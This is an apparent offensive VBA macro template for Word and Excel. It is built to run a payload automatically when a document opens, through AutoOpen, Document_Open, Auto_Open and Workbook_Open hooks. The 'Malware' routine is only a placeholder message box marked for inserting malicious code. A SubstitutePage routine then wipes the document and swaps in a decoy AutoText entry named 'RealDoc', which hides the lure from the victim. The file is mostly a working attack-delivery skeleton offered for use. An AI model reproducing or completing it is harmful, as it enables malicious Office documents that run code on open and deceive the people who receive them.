75 lines
1.7 KiB
Plaintext
75 lines
1.7 KiB
Plaintext
|
Public alreadyLaunched As Integer
|
||
|
|
||
|
|
||
|
Private Sub Malware()
|
||
|
'
|
||
|
' ============================================
|
||
|
'
|
||
|
' Enter here your malware code here.
|
||
|
' It will be started on auto open surely.
|
||
|
'
|
||
|
' ============================================
|
||
|
|
||
|
MsgBox ("Here comes the malware!")
|
||
|
|
||
|
' ============================================
|
||
|
|
||
|
End Sub
|
||
|
|
||
|
|
||
|
Private Sub Launch()
|
||
|
If alreadyLaunched = True Then
|
||
|
Exit Sub
|
||
|
End If
|
||
|
Malware
|
||
|
SubstitutePage
|
||
|
alreadyLaunched = True
|
||
|
End Sub
|
||
|
|
||
|
Private Sub SubstitutePage()
|
||
|
'
|
||
|
' This routine will take the entire Document's contents,
|
||
|
' delete them and insert in their place contents defined in
|
||
|
' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName`
|
||
|
'
|
||
|
Dim doc As Word.Document
|
||
|
Dim firstPageRange As Range
|
||
|
Dim rng As Range
|
||
|
Dim autoTextTemplateName As String
|
||
|
|
||
|
' This is the name of the defined AutoText prepared in the document,
|
||
|
' to be inserted in place of previous contents.
|
||
|
autoTextTemplateName = "RealDoc"
|
||
|
|
||
|
Set firstPageRange = Word.ActiveDocument.Range
|
||
|
firstPageRange.Select
|
||
|
Selection.WholeStory
|
||
|
Selection.Delete Unit:=wdCharacter, Count:=1
|
||
|
|
||
|
Set doc = ActiveDocument
|
||
|
Set rng = doc.Sections(1).Range
|
||
|
doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True
|
||
|
doc.Save
|
||
|
|
||
|
End Sub
|
||
|
|
||
|
Sub AutoOpen()
|
||
|
' Becomes launched as first on MS Word
|
||
|
Launch
|
||
|
End Sub
|
||
|
|
||
|
Sub Document_Open()
|
||
|
' Becomes launched as second, another try, on MS Word
|
||
|
Launch
|
||
|
End Sub
|
||
|
|
||
|
Sub Auto_Open()
|
||
|
' Becomes launched as first on MS Excel
|
||
|
Launch
|
||
|
End Sub
|
||
|
|
||
|
Sub Workbook_Open()
|
||
|
' Becomes launched as second, another try, on MS Excel
|
||
|
Launch
|
||
|
End Sub
|